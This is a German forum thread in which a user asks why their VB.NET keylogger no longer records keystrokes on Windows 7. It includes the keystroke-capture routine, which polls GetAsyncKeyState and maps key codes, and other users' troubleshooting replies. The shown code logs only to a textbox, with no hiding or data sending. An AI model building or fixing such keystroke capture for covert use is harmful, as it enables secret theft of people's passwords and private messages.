Keylogger hat unter Win7 bug

[Irgendwie]

Hey Leute,
Ich hab vor einiger Zeit mal einen Keylogger geschrieben, ihn immer wieder verfeinert und auch extra Funktionen (wie z.B.: Welche Fenster sind offen, und in welchen fenster schreibt er grade) eingefügt. Er konnte Sonderzeichen, Pfeiltasten,...

Dies Funktionierte alles unter Win XP und Vista. Unter Win 7 bugt er allerdings. Die Zusatzfunktionen funktionieren noch alle. Nur das Mitspeichern der Tastertureingaben funktioniert nicht. :cry:

Weiß einer von euch dafür eine Lösung?

Danke schon mal im Vorraus

Einlesen geht vereinfacht bei mir so:

Dim result AsInteger
Dim i AsInteger
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text &= Chr(i)
End If

[v3n3]

Man müsste schon den kompletten Code sehen.
Wenn du zb. Keyboard Hooks benutzt mit Unmanaged Code, dann könnte es da probleme geben.

[Irgendwie]

PrivateSub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim result AsLong
Dim key AsString
Dim i AsInteger
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 1 Then
key = "[Linksklick]"
ElseIf i = 2 Then
key = "[Rechtsklick]"
ElseIf i = 8 Then
key = "[Del]"
ElseIf i = 16 Then
key = "[Umschalt]"
ElseIf i = 17 Then
key = "[Strg]"
ElseIf i = 18 Then
key = "[Alt]"
ElseIf i = 37 Then
key = "[Links]"
... 'Hier stehen nur weitere Sonderfälle
ElseIf i = 192 Then
key = "ö"
ElseIf i = 219 Then
key = "ß"
ElseIf i = 220 Then
key = "^"
ElseIf i = 221 Then
key = "´"
ElseIf i = 222 Then
key = "ä"
ElseIf i = 226 Then
key = "<"
EndIf
If i = 13 Then
key = vbNewLine
Exit For
EndIf
EndIf
Next
TextBox1.Text &= key
If key <> NothingThen
IfMy.Computer.Keyboard.ShiftKeyDown OrElseMy.Computer.Keyboard.CapsLock Then
TextBox1.Text &= key
Else
TextBox1.Text &= key.ToLower
EndIf
EndIf
EndSub


------------

Das ist der gesamte Einlesecode. (99% der Ausnahmen hab ich mir von einer Seite kopiert)

[v3n3]

...Das ist doch nicht der komplette Code ?
Du wirst doch irgendwelche Hooks oder sowas benutzen, oder nich ? :-P

[Irgendwie]

Nein ich verwende keine, da es (bis Win7) auch so funktionierte.

[v3n3]

Also wenn du keine Hooks oder sowas verwendest (was ich mir nicht vorstellen kann), dann darf da kein Bug sein.
Wird keine Exception geworfen oder sowas ?

[Irgendwie]

Das ist der Code von der ersten Version. Der war nur für Tastereingabe abfangen (unter Vista damals). Und der Teil hat sich bis jetzt nicht verändert.

Nein keine Exception, die Textbox bleibt einfach nur leer. Wenn ich es aber unter Vista teste, funktioniert alles.

[X-DiViSi0N]

War das nicht so, dass "GetAsyncKeyState" unter 7 nicht funktioniert?

[v3n3]

   [DllImport("User32.dll")]
   private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey);

... Was hab ich denn gesagt ?
Wenn du nen Hook oder sowas benutzt, kann es sein das der nich funktioniert.
Das ist Unmanaged Code, da kannste dich nich drauf verlassen.

EDIT:
Google hätte geholfen ;-)
http://social.msdn.microsoft.com/For...a-082456de76d0

[Sky.NET]

   [DllImport("User32.dll")]
   private static extern short GetAsyncKeyState( System.Windows.Forms.Keys vKey);

... Was hab ich denn gesagt ?
Wenn du nen Hook oder sowas benutzt, kann es sein das der nich funktioniert.
Das ist Unmanaged Code, da kannste dich nich drauf verlassen.

EDIT:
Google hätte geholfen ;-)
Does GetAsyncKeyState not work in Windows 7?

Jo deswegen gibts ja auch die Win-API, weil Windows so unstable ist, is ja schließlich auch noch Alpha oder?
Hast eig. ma drüber nachgedacht aufzuhören so nen Dreck hier zu verbreiten?